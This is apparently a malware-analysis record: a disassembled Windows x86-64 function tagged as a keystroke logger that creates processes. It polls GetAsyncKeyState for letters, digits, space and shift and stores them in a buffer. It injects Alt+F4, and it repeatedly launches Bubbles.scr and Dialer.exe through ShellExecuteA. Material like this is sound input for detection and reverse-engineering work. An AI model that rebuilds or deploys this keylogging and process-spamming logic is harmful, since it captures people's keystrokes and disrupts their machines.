Function at 0x140002570
Capabilities:
Create process on windows
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0x41
jmp 0x140002591
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0x5a
jae 0x1400025ed
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 1
test eax, eax
je 0x1400025eb
movsxd rax, dword [0x14000e9d8]
mov rdx, rax
lea rcx, [0x14000e9e0]
call fcn.140005170
movsx rax, byte [rax]
cmp rax, qword [rsp + 0x30]
je 0x1400025eb
movzx edx, byte [rsp + 0x30]
lea rcx, [0x14000e9e0]
call fcn.1400051e0
mov eax, dword [0x14000e9d8]
inc eax
mov dword [0x14000e9d8], eax
jmp 0x140002584
mov qword [rsp + 0x38], 0x30
jmp 0x140002605
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0x39
jae 0x140002661
mov ecx, dword [rsp + 0x38]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 1
test eax, eax
je 0x14000265f
movsxd rax, dword [0x14000e9d8]
mov rdx, rax
lea rcx, [0x14000e9e0]
call fcn.140005170
movsx rax, byte [rax]
cmp rax, qword [rsp + 0x38]
je 0x14000265f
movzx edx, byte [rsp + 0x38]
lea rcx, [0x14000e9e0]
call fcn.1400051e0
mov eax, dword [0x14000e9d8]
inc eax
mov dword [0x14000e9d8], eax
jmp 0x1400025f8
mov ecx, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 1
test eax, eax
je 0x1400026ae
movsxd rax, dword [0x14000e9d8]
mov rdx, rax
lea rcx, [0x14000e9e0]
call fcn.140005170
movsx eax, byte [rax]
cmp eax, 0x20
je 0x1400026ae
mov dl, 0x20
lea rcx, [0x14000e9e0]
call fcn.1400051e0
mov eax, dword [0x14000e9d8]
inc eax
mov dword [0x14000e9d8], eax
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x1400026f4
cmp dword [0x14000e9d0], 0
jne 0x1400026f2
lea rdx, str._SHIFTDOWN_
lea rcx, [0x14000e9e0]
call fcn.140005210
mov dword [0x14000e9d0], 1
mov eax, dword [0x14000e9d8]
inc eax
mov dword [0x14000e9d8], eax
jmp 0x140002728
cmp dword [0x14000e9d0], 1
jne 0x140002728
lea rdx, str._SHIFTUP_
lea rcx, [0x14000e9e0]
call fcn.140005210
mov dword [0x14000e9d0], 0
mov eax, dword [0x14000e9d8]
inc eax
mov dword [0x14000e9d8], eax
mov eax, dword [0x14000e9d8]
cdq
mov ecx, 0x32
idiv ecx
mov eax, edx
test eax, eax
jne 0x1400027c9
mov eax, dword [0x14000e9d8]
dec eax
cdqe
mov rdx, rax
lea rcx, [0x14000e9e0]
call fcn.140005170
movsx eax, byte [rax]
cmp eax, 0x45
jne 0x1400027c9
lea rax, str.C:WindowsSystem32Bubbles.scr
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x40], 0
jmp 0x140002785
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0x1dd7437
jae 0x1400027c9
mov ecx, 0x3c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea r9, [0x14000a810]
mov r8, qword [rsp + 0x50]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140002778
mov eax, dword [0x14000e9d8]
cdq
and edx, 7
add eax, edx
and eax, 7
sub eax, edx
test eax, eax
jne 0x1400028c3
cmp dword [0x14000e9d8], 0x64
jle 0x1400028c3
movsxd rax, dword [0x14000e9d8]
mov rdx, rax
lea rcx, [0x14000e9e0]
call fcn.140005170
movsx eax, byte [rax]
cmp eax, 0x41
jne 0x1400028c3
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x12
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x73
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, 2
xor edx, edx
mov cl, 0x73
call qword [sym.imp.USER32.dll_keybd_event]
xor r9d, r9d
mov r8d, 2
xor edx, edx
mov cl, 0x12
call qword [sym.imp.USER32.dll_keybd_event]
lea rax, str.C:WindowsSystem32Bubbles.scr
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea r9, [0x14000a810]
mov r8, qword [rsp + 0x48]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rax, str.C:WindowsSystem32Dialer.exe
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x48]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002579